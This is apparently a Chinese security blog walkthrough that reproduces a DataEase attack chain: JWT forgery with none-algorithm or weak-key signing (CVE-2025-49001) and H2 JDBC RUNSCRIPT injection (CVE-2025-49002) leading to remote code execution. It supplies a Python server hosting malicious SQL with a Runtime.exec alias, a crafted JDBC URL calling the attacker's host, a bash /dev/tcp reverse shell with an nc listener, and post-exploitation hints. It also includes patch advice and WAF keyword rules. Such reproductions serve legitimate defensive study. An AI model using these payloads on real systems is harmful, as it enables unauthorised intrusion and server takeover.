1. 项目概述：一次对DataEase高危漏洞的深度剖析

最近在安全圈里，DataEase这个开源BI工具的两个高危漏洞（CVE-2025-49001和CVE-2025-49002）讨论得挺热。作为一个常年跟各种开源组件打交道的安全研究员，看到这种组合拳式的漏洞——一个身份验证绕过加上一个代码执行——职业病就犯了，不亲手在可控环境里把它复现一遍，总觉得心里不踏实。这不仅仅是满足好奇心，更是理解攻击链、评估真实风险、为后续防御和检测规则编写积累一手经验的必经之路。CVE-2025-49002这个漏洞，核心在于DataEase集成的H2数据库控制台功能对用户输入的JDBC连接参数过滤不严，攻击者可以利用特定技巧注入恶意代码，最终在服务器上执行任意命令。整个过程不需要任何登录凭证，危害等级直接拉满。今天，我就把自己搭建靶场、分析流量、构造利用载荷到最后成功拿到Shell的整个过程，以及其中踩过的坑和总结的技巧，详细地拆解一遍。无论你是想入门漏洞复现的安全新人，还是正在为自家企业排查DataEase风险的运维或安全工程师，这篇从零开始的实战记录应该都能给你提供清晰的参考。

2. 漏洞原理与影响范围深度解析

2.1 漏洞成因：H2数据库的“特性”与不当配置

要理解CVE-2025-49002，首先得弄清楚DataEase里H2数据库扮演的角色以及它那个著名的“特性”。DataEase作为一个数据分析平台，其安装包内默认集成了H2数据库，通常用于存储元数据、用户配置等非核心业务数据。H2数据库有一个非常方便但也极其危险的功能：它内置了一个Web控制台。当H2数据库以服务器模式启动并开启Web控制台时，用户可以通过浏览器访问特定端口（默认8082），直接执行SQL语句甚至JDBC连接字符串。

问题的根源就在这里。DataEase在某个涉及数据库连接配置的功能点（例如添加数据源、测试连接等）中，未能对用户输入的JDBC URL进行严格的安全过滤和校验。JDBC URL的标准格式类似于jdbc:h2:mem:testdb。然而，H2数据库的JDBC驱动支持在URL中通过;INIT参数执行初始化SQL语句。更危险的是，它还支持通过RUNSCRIPT命令从指定URL下载并执行SQL脚本。

攻击者的思路就是，构造一个恶意的JDBC连接字符串，利用RUNSCRIPT FROM子句指向一个由攻击者控制的、存放了恶意SQL命令的HTTP服务器。当DataEase后端尝试用这个恶意URL建立H2数据库连接时，H2驱动就会自动从远程拉取并执行脚本。恶意脚本中则可以包含创建自定义函数（ALIAS）的语句，该函数能够调用Java的Runtime.getRuntime().exec()方法，从而执行系统命令，实现远程代码执行。

2.2 与CVE-2025-49001的联动：完整的攻击链

单独看CVE-2025-49002，它可能存在于某个需要一定权限才能访问的接口。但它的“好搭档”CVE-2025-49001，一个JWT令牌校验逻辑漏洞，使得攻击链的门槛降到了零。CVE-2025-49001允许攻击者在完全未授权的情况下，伪造一个有效的JWT令牌，从而绕过登录认证，访问到那些本应需要登录后才能调用的API接口。这其中，就可能包括触发CVE-2025-49002漏洞的那个配置H2数据源的接口。

因此，在实际攻击中，攻击者通常会先利用CVE-2025-49001获得一个“合法”的会话，然后利用这个身份去调用存在注入漏洞的接口，传入恶意的H2 JDBC URL，最终完成RCE。我们今天的复现，将涵盖这两个漏洞的串联利用，还原最真实的攻击场景。

2.3 影响版本与严重性评估

根据官方通告和我们的验证，受影响的DataEase版本为v2.10.8及之前的所有版本。从v2.10.10版本开始，官方修复了这两个漏洞。对于一个万级安装量的开源项目来说，这个影响面相当可观。

在CVSS 3.1评分体系中，这个漏洞组合获得了9.8分（高危）。评分如此之高的原因在于：

1. 攻击复杂度低：利用代码（PoC）已在互联网公开，攻击步骤标准化，易于自动化。
2. 权限要求无：通过CVE-2025-49001实现身份验证绕过，无需任何账号密码。
3. 用户交互无：攻击过程不需要诱骗受害者进行任何点击或操作。
4. 影响范围广：可完全控制系统，导致机密性、完整性、可用性全部丧失。

对于企业而言，这意味着如果公网暴露了未升级的DataEase服务，很可能已经成为攻击者的囊中之物，数据泄露和服务中断的风险极高。

3. 复现环境搭建与准备工作

3.1 靶机环境部署

为了安全且可控地复现，我们必须在隔离环境中进行。我推荐使用Docker快速搭建一个存在漏洞的DataEase环境。

首先，我们需要找到v2.10.8版本的镜像。官方Docker Hub可能只保留最新版，我们可以从GitHub的Release页面找到历史版本。这里我直接使用一个已知的漏洞环境集成项目（例如vulhub）中的配置，或者手动拉取指定版本的镜像。

# 创建一个专门的目录用于本次复现 mkdir dataease-cve-reproduction && cd dataease-cve-reproduction # 编写docker-compose.yml文件 cat > docker-compose.yml << 'EOF' version: '3' services: dataease: # 关键：指定有漏洞的版本，例如 2.10.8 image: registry.cn-qingdao.aliyuncs.com/dataease/dataease:v2.10.8 container_name: vulnerable-dataease ports: - "8081:8081" # DataEase前端端口 - "8082:8082" # 内嵌H2数据库控制台端口（如果开启） environment: - DE_DB_TYPE=embedded - DE_ENGINE_MODE=local volumes: - ./data:/opt/dataease/data restart: unless-stopped EOF # 启动漏洞环境 docker-compose up -d

等待几分钟后，访问http://your-host-ip:8081应该能看到DataEase的登录界面。环境就绪。

注意：务必在虚拟机或隔离的网络环境中进行此操作，切勿在生产网络或包含敏感数据的机器上运行漏洞软件。

3.2 攻击机工具准备

在攻击机（通常是你的Kali Linux或者本地开发机）上，我们需要准备以下工具：

1. Burp Suite / Charles Proxy：用于拦截和修改HTTP请求，这是漏洞利用的关键。
2. Python3环境：用于编写简单的HTTP服务器来托管恶意SQL脚本。
3. JWT调试工具（如jwt.io）：用于分析和伪造JWT令牌。
4. Netcat：用于接收反弹Shell。

为了方便，我们可以编写一个简单的Python脚本，同时充当恶意SQL服务器和接收反弹Shell的监听器。

# exploit_server.py import http.server import socketserver import sys import subprocess from urllib.parse import urlparse, parse_qs class MaliciousHandler(http.server.BaseHTTPRequestHandler): def do_GET(self): # 当H2数据库驱动请求恶意SQL脚本时，返回它 parsed_path = urlparse(self.path) if parsed_path.path == '/evil.sql': self.send_response(200) self.send_header('Content-type', 'application/sql') self.end_headers() # 恶意SQL：创建一个能执行系统命令的别名函数 # 注意：这里为了演示，命令是弹出一个计算器（Linux下为`xcalc`，Windows下为`calc.exe`） # 实际攻击中，这里可能是 `/bin/bash -c '反弹shell命令'` malicious_sql = """ CREATE ALIAS EXEC_COMMAND AS $$ import java.lang.*; @CODE String execCommand(String cmd) throws Exception { return Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd}).getInputStream().toString(); } $$; CALL EXEC_COMMAND('calc.exe'); """ self.wfile.write(malicious_sql.encode()) print(f"[+] 恶意SQL脚本已发送给 {self.client_address[0]}") else: self.send_error(404) if __name__ == '__main__': PORT = 9999 # 攻击者控制的服务器端口 with socketserver.TCPServer(("", PORT), MaliciousHandler) as httpd: print(f"[*] 恶意HTTP服务器监听在 0.0.0.0:{PORT}") httpd.serve_forever()

4. 漏洞利用步骤详细拆解

4.1 第一步：利用CVE-2025-49001绕过身份验证

首先，我们需要一个合法的身份来访问后续接口。通过分析公开的PoC，我们知道DataEase在v2.10.8版本中，对某些API的JWT校验存在逻辑缺陷，允许我们伪造令牌。

1. 拦截登录请求：使用Burp Suite代理浏览器，访问DataEase登录页(http://target:8081)，尝试用任意错误密码登录，拦截这个/api/auth/login的POST请求。
2. 分析响应：观察登录失败或成功的响应，通常会看到一个名为Authorization的Header或者响应体中的token字段，其值是一个JWT。
3. 伪造JWT：即使登录失败，我们也能从响应中拿到一个JWT的“架子”。将这个Token复制到jwt.io网站进行解码。你会发现它的载荷（Payload）部分可能包含username、exp等字段。关键在于，校验算法可能存在问题，比如使用了空密钥或弱密钥。根据公开信息，该版本的漏洞允许我们修改Payload中的username为admin（或其他已知用户），然后使用none算法（即无签名）重新编码JWT。
4. 构造请求：在Burp的Repeater模块中，创建一个新的请求，访问一个需要权限的API，例如获取用户列表的/api/user/list。在请求头中添加：Authorization: Bearer [你伪造的JWT]。如果返回了用户列表而非401错误，说明身份验证绕过成功。

实操心得：有时候直接使用none算法可能不成功，需要尝试从其他开源项目的默认密钥（如secret、dataease）进行签名。多看看GitHub上该版本附近的代码提交，可能会发现硬编码的密钥。

4.2 第二步：定位存在参数注入的接口

有了“合法”身份后，下一步是找到哪里可以输入我们的恶意JDBC URL。根据漏洞描述，这与H2数据库配置有关。在DataEase中，添加“数据源”是一个可能的功能点。

1. 功能点探索：以前台身份浏览，寻找“数据源”、“数据库连接”、“添加驱动”等相关功能菜单。
2. 接口探测：打开浏览器开发者工具（F12）的Network标签，在前台点击添加数据源（比如尝试添加一个H2数据源），观察产生了哪些API调用。重点关注/api/datasource/、/api/database/、/api/driver/等路径下的POST或PUT请求。
3. 参数分析：找到疑似接口后，在Burp中查看其请求体。通常会包含name、type、configuration等字段。configuration很可能是一个JSON字符串，里面包含了url、username、password等子字段。这个url字段，就是我们的目标。

4.3 第三步：构造并注入恶意JDBC URL

这是漏洞利用的核心。我们不再添加一个真正的H2数据源，而是注入一个能执行远程代码的恶意连接字符串。

1. 启动恶意服务器：在攻击机上运行我们之前写好的exploit_server.py，确保靶机能够访问到攻击机的IP和端口（如http://your-attack-ip:9999/evil.sql）。
2. 构造恶意URL：H2数据库的JDBC URL支持RUNSCRIPT命令。我们需要构造如下格式的URL：

   jdbc:h2:mem:test;INIT=RUNSCRIPT FROM 'http://your-attack-ip:9999/evil.sql'

   这个URL的意思是：在内存中创建一个名为test的数据库，初始化时执行RUNSCRIPT命令，从指定的HTTP地址下载并运行SQL脚本。
3. 注入请求：在Burp Repeater中，使用我们伪造的JWT令牌，向找到的数据源配置接口发送POST请求。将请求体中的url参数替换为我们构造的恶意URL。其他如driver字段可能需要填写org.h2.Driver，type字段可能是h2。

   { "name": "恶意数据源", "type": "h2", "configuration": "{\"url\": \"jdbc:h2:mem:test;INIT=RUNSCRIPT FROM 'http://192.168.1.100:9999/evil.sql'\", \"username\": \"sa\", \"password\": \"\"}" }

4. 触发漏洞：发送这个请求。如果漏洞存在，DataEase后端会尝试使用这个URL去连接H2数据库。H2驱动会解析URL，执行INIT参数，从而向我们的恶意服务器发起HTTP GET请求，获取evil.sql并执行。

4.4 第四步：升级利用——获取反向Shell

弹出计算器只是验证，真正的利用是获取一个交互式的Shell。我们需要修改恶意SQL脚本的内容。

1. 修改恶意SQL脚本：在exploit_server.py中，将malicious_sql变量替换为更强大的内容。我们需要创建一个能执行任意命令的函数，并调用它来发起一个反向Shell连接。

   malicious_sql = """ CREATE ALIAS SHELL_EXEC AS $$ import java.lang.*; import java.io.*; @CODE String shellExec(String cmd) throws Exception { StringBuilder output = new StringBuilder(); Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd}); BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line = reader.readLine()) != null) { output.append(line).append("\\n"); } p.waitFor(); return output.toString(); } $$; CALL SHELL_EXEC('bash -i >& /dev/tcp/your-attack-ip/4444 0>&1'); """

   这个脚本创建了一个SHELL_EXEC函数来执行系统命令并返回输出。然后立即调用该函数，执行一个Bash反向Shell命令，连接到攻击机的4444端口。

2. 在攻击机开启监听：在另一个终端窗口，使用Netcat监听4444端口。

   nc -lvnp 4444

3. 重新发送注入请求：再次通过Burp发送构造好的恶意数据源请求。

4. 接收Shell：如果一切顺利，你将在Netcat监听窗口看到来自靶机的Shell连接，并可以执行id、whoami等命令确认权限。

5. 漏洞修复与安全加固建议

5.1 官方修复方案

DataEase官方在v2.10.10版本中修复了这两个漏洞。修复措施主要包括：

1. 针对CVE-2025-49001 (JWT绕过)：修正了JWT令牌的验证逻辑，确保签名和算法被严格校验，防止伪造和none算法攻击。同时可能加强了对令牌过期时间和签发者的检查。
2. 针对CVE-2025-49002 (H2 RCE)：
   • 输入过滤：对用户输入的JDBC连接字符串进行了严格的过滤和校验，禁止其中包含INIT、RUNSCRIPT等危险关键字。
   • 禁用危险功能：可能默认禁用了H2数据库的Web控制台，或者在生产环境配置中强制使用更安全的数据库模式（如文件模式而非内存模式，并限制初始化语句）。
   • 权限最小化：运行DataEase的应用程序账户权限被降低，即使代码执行成功，攻击者能做的事情也有限。

最直接有效的措施就是立即升级到DataEase v2.10.10或更高版本。

5.2 临时缓解措施

如果因为某些原因无法立即升级，可以考虑以下临时方案：

1. 网络隔离：确保DataEase服务不直接暴露在公网。将其置于内网，通过VPN或堡垒机访问。如果必须对外提供，应配置严格的白名单防火墙策略，仅允许可信IP访问。
2. WAF防护：在DataEase服务前端部署Web应用防火墙（WAF），并配置规则拦截包含RUNSCRIPT FROM、jdbc:h2、;INIT=等特征的恶意请求。
3. 修改默认端口：如果开启了H2控制台，修改其默认的8082端口。
4. 禁用嵌入式H2（如果可行）：对于生产环境，建议使用外部的、更成熟的数据信（如MySQL、PostgreSQL）作为DataEase的元数据库，并在安装配置时就选择外部数据库选项，彻底避免嵌入式H2带来的风险。

5.3 安全开发启示

从这个漏洞中，我们可以汲取以下几点教训，应用于日常开发和安全审计：

1. 永远不要信任用户输入：这是安全的第一原则。所有来自客户端的数据，包括URL参数、表单字段、HTTP头部、甚至Cookie，都必须进行严格的验证、过滤和转义。对于JDBC连接字符串这类敏感输入，必须采用白名单机制，只允许预期的、安全的字符和模式。
2. 谨慎集成具有高危功能的组件：H2数据库的“内存数据库+Web控制台”模式在开发测试时很方便，但直接搬到生产环境就是一颗定时炸弹。集成任何组件时，必须充分了解其安全特性和默认配置，并遵循“最小权限”和“默认安全”原则进行配置。
3. 身份验证与授权逻辑要坚固：JWT的实现看似简单，但细节决定成败。密钥管理、算法强制校验、令牌过期、注销机制等都需要仔细处理。建议使用经过广泛安全审计的成熟库来处理JWT，而非自己造轮子。
4. 纵深防御：不要依赖单一的安全措施。即使应用层有漏洞，通过容器安全（非root用户运行）、主机安全（Seccomp, AppArmor）、网络隔离等多层防护，可以极大增加攻击者的利用难度和成本，甚至阻断攻击链。

6. 复现过程中的常见问题与排查技巧

在复现过程中，你可能会遇到各种问题。下面是我踩过的一些坑和解决方法：

问题1：伪造的JWT令牌始终返回401或403错误。

• 排查：首先确认你使用的接口是否需要其他权限（如特定角色）。尝试访问更基础的API，如/api/auth/user（获取当前用户信息）。检查JWT的Payload结构是否正确，特别是exp（过期时间）是否是一个未来的时间戳。尝试使用不同的用户名（如admin、sysadmin）。最关键的是，查看目标版本DataEase的源代码（如果可得），找到JWT签名的密钥，这是最可靠的方法。
• 技巧：使用Burp的Intruder模块，对常见的弱密钥（如secret、key、dataease、dataease123等）进行暴力破解尝试，有时会有意外收获。

问题2：注入恶意URL后，没有收到来自靶机的HTTP请求。

• 排查：
  1. 网络连通性：确保靶机（Docker容器）能访问到攻击机的IP和端口。在靶机容器内执行curl http://your-attack-ip:9999测试。
  2. URL编码：JDBC URL中的特殊字符（如空格、单引号）可能需要URL编码。在Burp中，可以尝试对恶意URL部分进行编码。
  3. 接口错误：确认你找到的接口确实是触发H2连接的那个。可能DataEase有多个配置接口，需要仔细甄别。查看DataEase的日志（Docker日志：docker logs vulnerable-dataease）是最高效的方法，日志中通常会打印数据库连接错误信息。
  4. H2驱动版本：不同版本的H2驱动对RUNSCRIPT等特性的支持可能有细微差别。确保你的利用语法符合目标环境中的H2驱动版本。

问题3：收到了SQL脚本请求，但反向Shell没有建立。

• 排查：
  1. 命令执行环境：你的恶意SQL是在DataEase的Java进程上下文中执行的。确保你执行的命令在该环境中存在。例如，容器里可能没有/bin/bash，但有/bin/sh。使用which bash或which sh命令来测试。
  2. 反弹Shell命令：经典的bash -i >& /dev/tcp/...命令在某些精简的Docker镜像或安全限制下可能失效。可以尝试使用其他方式，如使用Python、Perl、甚至Telnet来建立反向连接。或者先执行一个简单的ping或curl命令到攻击机，确认命令执行是否成功。
  3. 出站限制：靶机所在的Docker网络或主机防火墙可能阻止了向外的TCP连接。尝试使用DNS隧道或HTTP隧道等出站方式。

问题4：复现成功，但命令执行权限很低。

• 现象：能执行id，发现是nobody或某个低权限用户。
• 分析：这是好事，说明目标系统或容器做了权限最小化。但这不意味着漏洞危害低，攻击者仍可能尝试提权。
• 后续思路：在拿到低权限Shell后，可以尝试进行信息收集（uname -a，cat /etc/passwd， 查看环境变量，查找SUID文件等），寻找本地提权（LPE）的机会。这属于漏洞利用的后续阶段，在授权测试中需要格外谨慎。

整个复现过程，就像一次精细的外科手术，需要耐心、细致的观察和不断的调试。每一次失败的信息（错误日志、网络包）都是通往成功的路标。最重要的是，通过亲手实践，你将对这类“身份验证绕过+参数注入导致RCE”的攻击模式产生肌肉记忆，在未来进行代码审计或威胁狩猎时，你的眼睛会变得更尖。